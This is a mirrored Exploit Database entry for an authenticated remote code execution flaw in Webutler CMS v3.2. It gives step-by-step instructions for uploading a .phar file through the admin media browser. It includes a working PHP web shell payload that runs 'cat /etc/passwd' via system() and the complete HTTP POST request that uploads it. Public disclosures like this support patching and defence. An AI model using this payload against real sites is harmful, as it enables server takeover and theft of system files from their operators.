Webutler v3.2 – Remote Code Execution (RCE)

• Exploit Database
• 61 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-08-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51660/

• Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)
  Application: webutler Cms
  Version: v3.2
  Bugs:RCE
  Technology: PHP
  Vendor URL: https://webutler.de/en
  Software Link: http://webutler.de/download/webutler_v3.2.zip
  Date of found: 03.08.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps: 
  1. login to account as admin
  2. go to visit media 
  3.upload phar file
  4. upload poc.phar file
  
  poc.phar file contents :
  <?php echo system("cat /etc/passwd");?>
  5. Visit to poc.phar file
  poc request:
  
  POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
  Host: localhost
  Content-Length: 40
  sec-ch-ua: 
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
  X_FILENAME: poc.phar
  sec-ch-ua-platform: ""
  Accept: */*
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/webutler_v3.2/admin/browser/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
  Connection: close
  
  <?php echo system("cat /etc/passwd");?>